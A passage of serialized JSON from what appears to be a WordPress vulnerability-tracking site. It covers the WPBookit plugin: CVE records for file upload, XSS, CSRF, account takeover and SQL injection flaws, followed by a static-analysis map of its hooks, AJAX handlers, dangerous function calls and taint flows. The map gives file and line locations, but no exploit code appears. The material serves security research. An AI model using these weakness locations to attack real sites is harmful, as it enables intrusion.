06:44:34",{"id":88,"url_slug":89,"title":90,"description":91,"plugin_slug":4,"theme_slug":37,"affected_versions":92,"patched_in_version":37,"severity":72,"cvss_score":93,"cvss_vector":94,"vuln_type":95,"published_date":96,"updated_date":97,"references":98,"days_to_patch":37,"patch_diff_files":100,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-12685","wpbookit-cross-site-request-forgery-to-customer-deletion","WPBookit \u003C= 1.0.7 - Cross-Site Request Forgery to Customer Deletion","The WPBookit plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.7. This is due to missing or incorrect nonce validation on the 'delete_customer' route. This makes it possible for unauthenticated attackers to delete customers via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","\u003C=1.0.7",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2025-12-12 00:00:00","2026-01-07 05:51:23",[99],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1da1d851-10ba-45e8-a486-03ac409075a4?source=api-prod",[],{"id":102,"url_slug":103,"title":104,"description":105,"plugin_slug":4,"theme_slug":37,"affected_versions":106,"patched_in_version":107,"severity":39,"cvss_score":40,"cvss_vector":41,"vuln_type":42,"published_date":108,"updated_date":109,"references":110,"days_to_patch":46,"patch_diff_files":112,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-12135","wpbookit-unauthenticated-stored-cross-site-scripting","WPBookit \u003C= 1.0.6 - Unauthenticated Stored Cross-Site Scripting","The WPBookit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'css_code' parameter in all versions up to, and including, 1.0.6 due to a missing capability check on the save_custome_code() function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=1.0.6","1.0.7","2025-11-20 18:42:40","2025-11-21 07:31:51",[111],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7d7b2c79-c4f7-4611-a22a-685d4421a4ab?source=api-prod",[],{"id":114,"url_slug":115,"title":116,"description":117,"plugin_slug":4,"theme_slug":37,"affected_versions":106,"patched_in_version":107,"severity":118,"cvss_score":119,"cvss_vector":120,"vuln_type":121,"published_date":122,"updated_date":123,"references":124,"days_to_patch":46,"patch_diff_files":126,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-7852","wpbookit-unauthenticated-arbitrary-file-upload-via-imageuploadhandle-function","WPBookit \u003C= 1.0.6 - Unauthenticated Arbitrary File Upload via image_upload_handle Function","The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_new_customer' route in all versions up to, and including, 1.0.6. The plugin’s image‐upload handler calls move_uploaded_file() on client‐supplied files without restricting allowed extensions or MIME types, nor sanitizing the filename. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Unrestricted Upload of File with Dangerous Type","2025-07-23 16:22:34","2025-07-24 04:24:12",[125],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0bb11092-4367-4f51-9dd7-22fbd655a03f?source=api-prod",[],{"id":128,"url_slug":129,"title":130,"description":131,"plugin_slug":4,"theme_slug":37,"affected_versions":132,"patched_in_version":133,"severity":118,"cvss_score":119,"cvss_vector":120,"vuln_type":121,"published_date":134,"updated_date":135,"references":136,"days_to_patch":46,"patch_diff_files":138,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-6058","wpbookit-unauthenticated-arbitrary-file-upload-2","WPBookit \u003C= 1.0.4 - Unauthenticated Arbitrary File Upload","The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.","\u003C=1.0.4","1.0.5","2025-07-11 00:00:00","2025-07-12 04:22:21",[137],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1d779ad1-fdbe-444c-85c5-99146a1a03d8?source=api-prod",[],{"id":140,"url_slug":141,"title":142,"description":143,"plugin_slug":4,"theme_slug":37,"affected_versions":132,"patched_in_version":133,"severity":39,"cvss_score":144,"cvss_vector":145,"vuln_type":121,"published_date":134,"updated_date":146,"references":147,"days_to_patch":46,"patch_diff_files":149,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-6057","wpbookit-authenticated-subscriber-arbitrary-file-upload","WPBookit \u003C= 1.0.4 - Authenticated (Subscriber+) Arbitrary File Upload","The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the handle_image_upload() function in all versions up to, and including, 1.0.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","2025-07-12 04:22:22",[148],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffac81cc0-c6c9-4009-aacb-52adc70c0261?source=api-prod",[],{"id":151,"url_slug":152,"title":153,"description":154,"plugin_slug":4,"theme_slug":37,"affected_versions":155,"patched_in_version":156,"severity":118,"cvss_score":119,"cvss_vector":120,"vuln_type":157,"published_date":158,"updated_date":159,"references":160,"days_to_patch":46,"patch_diff_files":162,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-3810","wpbookit-insecure-direct-object-reference-to-unauthenticated-privilege-escalation-via-account-takeover","WPBookit \u003C= 1.0.2 - Insecure Direct Object Reference to Unauthenticated Privilege Escalation via Account Takeover","The WPBookit plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.0.2. This is due to the plugin not properly validating a user's identity prior to updating their details like password and email through the edit_profile_data() function. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses and passwords, including administrators, and leverage that to gain access to their account.","\u003C=1.0.2","1.0.3","Authorization Bypass Through User-Controlled Key","2025-05-08 00:00:00","2025-05-09 01:42:34",[161],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F54f1ebfb-67f1-461d-91f1-269b0a2c0653?source=api-prod",[],{"id":164,"url_slug":165,"title":166,"description":167,"plugin_slug":4,"theme_slug":37,"affected_versions":155,"patched_in_version":156,"severity":118,"cvss_score":119,"cvss_vector":120,"vuln_type":157,"published_date":158,"updated_date":168,"references":169,"days_to_patch":46,"patch_diff_files":171,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-3811","wpbookit-insecure-direct-object-reference-to-unauthenticated-privilege-escalation-via-email-update","WPBookit \u003C= 1.0.2 - Insecure Direct Object Reference to Unauthenticated Privilege Escalation via Email Update","The WPBookit plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.0.2. This is due to the plugin not properly validating a user's identity prior to updating their details like email through the edit_newdata_customer_callback() function. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.","2025-05-09 01:42:35",[170],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa61cce43-0df7-4ca9-8897-24c7d131b505?source=api-prod",[],{"id":173,"url_slug":174,"title":175,"description":176,"plugin_slug":4,"theme_slug":37,"affected_versions":92,"patched_in_version":177,"severity":72,"cvss_score":73,"cvss_vector":178,"vuln_type":179,"published_date":180,"updated_date":181,"references":182,"days_to_patch":184,"patch_diff_files":185,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-32254","wpbookit-missing-authorization","WPBookit \u003C= 1.0.7 - Missing Authorization","The WPBookit plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.0.7. This makes it possible for unauthenticated attackers to perform an unauthorized action.","1.0.8","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2025-04-04 00:00:00","2026-01-07 14:33:43",[183],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fabe1b727-cd92-43aa-8b6e-e02befa53195?source=api-prod",279,[],{"id":187,"url_slug":188,"title":189,"description":190,"plugin_slug":4,"theme_slug":37,"affected_versions":191,"patched_in_version":192,"severity":72,"cvss_score":193,"cvss_vector":194,"vuln_type":95,"published_date":195,"updated_date":196,"references":197,"days_to_patch":199,"patch_diff_files":200,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-26910","wpbookit-cross-site-request-forgery-to-stored-cross-site-scripting","WPBookit \u003C= 1.0.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting","The WPBookit plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","\u003C=1.0.1","1.0.2",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2025-03-09 00:00:00","2025-03-14 17:31:22",[198],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F50f88c71-e57b-4792-b579-0e33f2d637d0?source=api-prod",6,[],{"id":202,"url_slug":203,"title":204,"description":205,"plugin_slug":4,"theme_slug":37,"affected_versions":206,"patched_in_version":207,"severity":118,"cvss_score":119,"cvss_vector":120,"vuln_type":121,"published_date":208,"updated_date":209,"references":210,"days_to_patch":46,"patch_diff_files":212,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2025-0357","wpbookit-unauthenticated-arbitrary-file-upload","WPBookit \u003C= 1.6.9 - Unauthenticated Arbitrary File Upload","The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'WPB_Profile_controller::handle_image_upload' function in versions up to, and including, 1.6.9. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.","\u003C=1.6.9","1.6.10","2025-01-24 00:00:00","2025-01-25 01:44:37",[211],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F19bf7a68-e76d-4740-9f35-b6084094f59b?source=api-prod",[],{"id":214,"url_slug":215,"title":216,"description":217,"plugin_slug":4,"theme_slug":37,"affected_versions":218,"patched_in_version":219,"severity":118,"cvss_score":119,"cvss_vector":120,"vuln_type":157,"published_date":220,"updated_date":221,"references":222,"days_to_patch":46,"patch_diff_files":224,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2024-10215","wpbookit-unauthenticated-arbitrary-user-password-change","WPBookit \u003C= 1.6.4 - Unauthenticated Arbitrary User Password Change","The WPBookit plugin for WordPress is vulnerable to Arbitrary User Password Change in versions up to, and including, 1.6.4. This is due to the plugin providing user-controlled access to objects, letting a user bypass authorization and access system resources. This makes it possible for unauthenticated attackers to change user passwords and potentially take over administrator accounts.","\u003C=1.6.4","1.6.6","2025-01-09 00:00:00","2025-01-09 19:21:56",[223],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2d23a2b9-8476-4564-a5de-5e6cfc38ce68?source=api-prod",[],{"id":226,"url_slug":227,"title":228,"description":229,"plugin_slug":4,"theme_slug":37,"affected_versions":230,"patched_in_version":37,"severity":39,"cvss_score":231,"cvss_vector":232,"vuln_type":233,"published_date":234,"updated_date":235,"references":236,"days_to_patch":37,"patch_diff_files":238,"patch_trac_url":37,"research_status":37,"research_verified":57,"research_rounds_completed":13,"research_plan":37,"research_summary":37,"research_vulnerable_code":37,"research_fix_diff":37,"research_exploit_outline":37,"research_model_used":37,"research_started_at":37,"research_completed_at":37,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2024-54280","wpbookit-unauthenticated-sql-injection","WPBookit \u003C= 1.6.0 - Unauthenticated SQL Injection","The WPBookit plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.6.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","\u003C=1.6.0",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2024-12-11 00:00:00","2024-12-20 21:08:49",[237],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F28b5238d-5843-433f-b027-5139cc0a0c19?source=api-prod",[],{"slug":240,"display_name":7,"profile_url":8,"plugin_count":199,"total_installs":241,"avg_security_score":242,"avg_patch_time_days":243,"trust_score":244,"computed_at":245},"iqonicdesign",17220,81,62,75,"2026-05-19T19:29:28.878Z",[],{"attackSurface":248,"codeSignals":460,"taintFlows":534,"riskAssessment":626,"analyzedAt":641},{"hooks":249,"ajaxHandlers":442,"restRoutes":454,"shortcodes":455,"cronEvents":456,"entryPointCount":343,"unprotectedCount":13},[250,257,262,265,269,272,276,280,284,288,292,298,303,306,310,314,318,321,324,327,332,335,339,341,345,347,350,352,356,358,361,363,368,373,378,381,384,388,391,394,397,401,404,407,411,415,419,423,426,429,432,435,439],{"type":251,"name":252,"callback":253,"priority":254,"file":255,"line":256},"action","admin_menu","register_admin_page",100,"core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin.php",13,{"type":258,"name":259,"callback":260,"file":255,"line":261},"filter","admin_title","wpb_dashboard_title",19,{"type":251,"name":263,"callback":264,"file":255,"line":25},"wp_loaded","load_settings_classes",{"type":251,"name":266,"callback":267,"file":255,"line":268},"admin_enqueue_scripts","enqueueStyles",23,{"type":251,"name":266,"callback":270,"file":255,"line":271},"enqueueScripts",24,{"type":251,"name":273,"callback":274,"file":255,"line":275},"admin_head","hide_side_bar",27,{"type":251,"name":277,"callback":278,"priority":25,"file":255,"line":279},"wpbookit_settings_before_main_content","load_sidebar",30,{"type":251,"name":281,"callback":282,"priority":25,"file":255,"line":283},"wpbookit_settings_before_content","load_navigation",31,{"type":251,"name":285,"callback":286,"priority":25,"file":255,"line":287},"wpbookit_settings_after_main_content","load_footer",32,{"type":251,"name":289,"callback":290,"file":255,"line":291},"admin_footer","closure",33,{"type":258,"name":293,"callback":294,"priority":295,"file":296,"line":297},"wpbookit_settings_tabs_array","add_settings_page",99,"core\u002Fadmin\u002Fclasses\u002Fsettings\u002Fclass.wpb-settings-page.php",34,{"type":251,"name":299,"callback":300,"file":301,"line":302},"admin_notices","iqonic_sale_banner_notice","core\u002Fclass-wpbookit.php",196,{"type":251,"name":304,"callback":304,"file":305,"line":25},"init","core\u002Fincludes\u002Fabstracts\u002Fabstract-wpb-import.php",{"type":258,"name":307,"callback":308,"file":305,"line":309},"wpb_available_import_files","add_import_module",22,{"type":258,"name":311,"callback":312,"file":313,"line":199},"rewrite_rules_array","add_booking_type_rewrite_rule","core\u002Fincludes\u002Fclasses\u002Fclass-wpb-permalink-handler.php",{"type":258,"name":315,"callback":316,"file":313,"line":317},"query_vars","register_query_vars",7,{"type":251,"name":319,"callback":319,"priority":11,"file":313,"line":320},"template_redirect",8,{"type":251,"name":304,"callback":322,"file":313,"line":323},"add_permalink_tag",9,{"type":251,"name":325,"callback":325,"file":313,"line":326},"wpb_enqueue_script",11,{"type":251,"name":328,"callback":329,"file":330,"line":331},"admin_post_nopriv_cancel_booking","handle_booking_cancellation","core\u002Fincludes\u002Fclasses\u002Fclass-wpb.booking-cancellation.php",16,{"type":251,"name":333,"callback":329,"file":330,"line":334},"admin_post_cancel_booking",17,{"type":258,"name":336,"callback":337,"file":330,"line":338},"nonce_user_logged_out","wpbookit_return_zero",25,{"type":251,"name":304,"callback":304,"file":340,"line":338},"core\u002Fincludes\u002Fclasses\u002Fclass.wpb-helpers.php",{"type":251,"name":304,"callback":342,"priority":343,"file":344,"line":25},"install",5,"core\u002Fincludes\u002Fclasses\u002Fclass.wpb-install.php",{"type":251,"name":304,"callback":346,"priority":343,"file":344,"line":309},"add_emails_list",{"type":251,"name":348,"callback":349,"file":344,"line":271},"show_user_profile","add_custom_user_fields",{"type":251,"name":351,"callback":349,"file":344,"line":338},"edit_user_profile",{"type":251,"name":353,"callback":354,"file":344,"line":355},"personal_options_update","save_custom_user_fields",26,{"type":251,"name":357,"callback":354,"file":344,"line":275},"edit_user_profile_update",{"type":251,"name":359,"callback":360,"file":344,"line":283},"admin_init","add_wpb_user_roles",{"type":251,"name":359,"callback":362,"file":344,"line":287},"wpb_db_migrate",{"type":258,"name":364,"callback":365,"file":366,"line":367},"wp_mail_content_type","wpbookit_set_html_content_type","core\u002Fincludes\u002Fwpb-core-functions.php",187,{"type":251,"name":369,"callback":370,"priority":11,"file":371,"line":372},"wpb_before_booking_insert","wpbookit_create_guest_user","core\u002Fincludes\u002Fwpb-guest-users-functions.php",73,{"type":251,"name":374,"callback":375,"priority":11,"file":376,"line":377},"wpbookit_edit_profile_hook","wpbookit_edit_profile","core\u002Fincludes\u002Fwpb-template-hooks.php",18,{"type":251,"name":379,"callback":380,"priority":11,"file":376,"line":261},"wpbookit_bookings_history_hook","wpbookit_bookings_history",{"type":251,"name":382,"callback":383,"priority":11,"file":376,"line":25},"wpbookit_upcoming_bookings_hook","wpbookit_upcoming_bookings",{"type":251,"name":385,"callback":386,"priority":11,"file":376,"line":387},"wpbookit_pending_bookings_hook","wpbookit_pending_bookings",21,{"type":251,"name":389,"callback":390,"priority":11,"file":376,"line":309},"wpbookit_booking_no_upcoming_hook","wpbookit_booking_no_upcoming",{"type":251,"name":392,"callback":393,"priority":11,"file":376,"line":268},"wpbookit_booking_no_pending_hook","wpbookit_booking_no_pending",{"type":251,"name":395,"callback":396,"priority":11,"file":376,"line":271},"wpbookit_booking_no_history_hook","wpbookit_booking_no_history",{"type":251,"name":398,"callback":399,"priority":11,"file":376,"line":400},"wpbookit_booking_types_hook","wpbookit_booking_types",29,{"type":251,"name":402,"callback":403,"priority":11,"file":376,"line":287},"wpbookit_bookings_timeslot_hook","wpbookit_bookings_timeslot",{"type":251,"name":405,"callback":406,"priority":11,"file":376,"line":291},"wpbookit_booking_shortcode_tabs_hook","wpbookit_booking_shortcode_tabs_render",{"type":251,"name":408,"callback":409,"priority":11,"file":376,"line":410},"wpbookit_booking_shortcode_detail_tab","wpbookit_booking_shortcode_detail_tab_render",35,{"type":251,"name":412,"callback":413,"priority":11,"file":376,"line":414},"wpbookit_booking_shortcode_payment_tab","wpbookit_booking_shortcode_payment_tab_render",36,{"type":251,"name":416,"callback":417,"priority":11,"file":376,"line":418},"wpbookit_booking_shortcode_model_pagination","wpbookit_booking_shortcode_model_pagination_render",37,{"type":251,"name":420,"callback":421,"priority":11,"file":376,"line":422},"wpbookit_booking_shortcode_after","wpbookit_bookings_model",40,{"type":251,"name":424,"callback":424,"priority":11,"file":376,"line":425},"wpbookit_add_booking_type_form",43,{"type":251,"name":427,"callback":427,"priority":11,"file":376,"line":428},"wpbookit_booking_shortcode_form",45,{"type":251,"name":430,"callback":430,"priority":11,"file":376,"line":431},"wpbookit_booking_shortcode_form_question_type",46,{"type":251,"name":433,"callback":433,"priority":11,"file":376,"line":434},"wpbookit_booking_shortcode_user_name_fields",47,{"type":251,"name":436,"callback":437,"file":376,"line":438},"wpbookit_add_navbar_menu","wpbookit_staff_navbar_menu_filter",53,{"type":251,"name":289,"callback":290,"file":440,"line":441},"core\u002Fshortcodes\u002Fclass-wpbookit-shortcode-abstract.php",133,[443,447,448,450,451],{"action":444,"nopriv":57,"callback":444,"hasNonce":445,"hasCapCheck":445,"file":54,"line":446},"wpb_ajax_post",true,15,{"action":444,"nopriv":445,"callback":444,"hasNonce":445,"hasCapCheck":445,"file":54,"line":331},{"action":449,"nopriv":57,"callback":449,"hasNonce":445,"hasCapCheck":445,"file":54,"line":377},"wpb_ajax_get",{"action":449,"nopriv":445,"callback":449,"hasNonce":445,"hasCapCheck":445,"file":54,"line":261},{"action":452,"nopriv":57,"callback":452,"hasNonce":445,"hasCapCheck":57,"file":301,"line":453},"iq_dismiss_notice",197,[],[],[457],{"hook":458,"callback":458,"file":366,"line":459},"wpb_customer_booking_reminder",464,{"dangerousFunctions":461,"sqlUsage":475,"outputEscaping":478,"fileOperations":317,"externalRequests":46,"nonceChecks":343,"capabilityChecks":275,"bundledLibraries":533},[462,467,472],{"fn":463,"file":464,"line":465,"context":466},"move_uploaded_file","core\u002Fadmin\u002Fclasses\u002Fcontrollers\u002Fclass.wpb-booking-type-controller.php",489,"if (move_uploaded_file($tmp_file_path, $destination_file_path)) :  \u002F\u002Fphpcs:ignore Generic.PHP.Forbid",{"fn":468,"file":469,"line":470,"context":471},"preg_replace(\u002Fe)","core\u002Fadmin\u002Fclasses\u002Fcontrollers\u002Fclass.wpb-setting-controller.php",28,"preg_replace('\u002Fe",{"fn":463,"file":469,"line":473,"context":474},79,"if (move_uploaded_file($tmp_file_path, $destination_file_path)) : \u002F\u002F phpcs:ignore  Generic.PHP.Forbi",{"prepared":476,"raw":13,"locations":477},142,[],{"escaped":479,"rawEcho":355,"locations":480},1790,[481,484,487,489,491,493,495,497,499,501,502,504,506,507,508,510,511,513,516,519,520,522,524,526,528,530],{"file":482,"line":317,"context":483},"core\u002Fadmin\u002Fviews\u002Flayouts\u002Fheader.php","raw output",{"file":485,"line":486,"context":483},"core\u002Fadmin\u002Fviews\u002Flayouts\u002Fsidebar.php",64,{"file":488,"line":355,"context":483},"core\u002Fadmin\u002Fviews\u002Fsettings\u002Fbookings\u002Fbooking-import.php",{"file":488,"line":490,"context":483},50,{"file":488,"line":492,"context":483},77,{"file":494,"line":355,"context":483},"core\u002Fadmin\u002Fviews\u002Fsettings\u002Fcustomers\u002Fcustomer-import.php",{"file":494,"line":496,"context":483},39,{"file":494,"line":498,"context":483},66,{"file":500,"line":486,"context":483},"core\u002Fadmin\u002Fviews\u002Fsettings\u002Fhtml-admin-settings-calendar.php",{"file":500,"line":486,"context":483},{"file":500,"line":503,"context":483},65,{"file":500,"line":505,"context":483},72,{"file":500,"line":505,"context":483},{"file":500,"line":372,"context":483},{"file":500,"line":509,"context":483},127,{"file":500,"line":509,"context":483},{"file":500,"line":512,"context":483},128,{"file":514,"line":515,"context":483},"core\u002Fadmin\u002Fviews\u002Fsettings\u002Fhtml-admin-settings-dashboard.php",57,{"file":517,"line":518,"context":483},"core\u002Fadmin\u002Fviews\u002Fsettings\u002Fhtml-admin-settings-setting.php",290,{"file":313,"line":498,"context":483},{"file":521,"line":410,"context":483},"templates\u002Fdashboard\u002Fbooking-types\u002Fbooking-types-form.php",{"file":523,"line":410,"context":483},"templates\u002Fshortcodes\u002Fbooking\u002Fhtml-shortcode-booking-confirmation.php",{"file":525,"line":334,"context":483},"templates\u002Fshortcodes\u002Fbooking\u002Fhtml-shortcode-booking-form-user-phone-number.php",{"file":527,"line":503,"context":483},"templates\u002Fshortcodes\u002Fbooking\u002Fhtml-shortcode-booking-model.php",{"file":529,"line":323,"context":483},"templates\u002Fshortcodes\u002Fbooking\u002Fhtml-shortcode-booking-payment-fail.php",{"file":531,"line":532,"context":483},"templates\u002Fshortcodes\u002Fbooking-types\u002Fbooking-types.php",63,[],[535,554,565,574,594,604,616],{"entryPoint":536,"graph":537,"unsanitizedCount":13,"severity":553},"\u003Chtml-bookings-history> (templates\u002Fshortcodes\u002Fprofile\u002Fhtml-bookings-history.php:0)",{"nodes":538,"edges":551},[539,545],{"id":540,"type":541,"label":542,"file":543,"line":544},"n0","source","$_REQUEST (x2)","templates\u002Fshortcodes\u002Fprofile\u002Fhtml-bookings-history.php",111,{"id":546,"type":547,"label":548,"file":543,"line":549,"wp_function":550},"n1","sink","echo() [XSS]",114,"echo",[552],{"from":540,"to":546,"sanitized":445},"low",{"entryPoint":555,"graph":556,"unsanitizedCount":13,"severity":553},"\u003Chtml-pending-bookings> 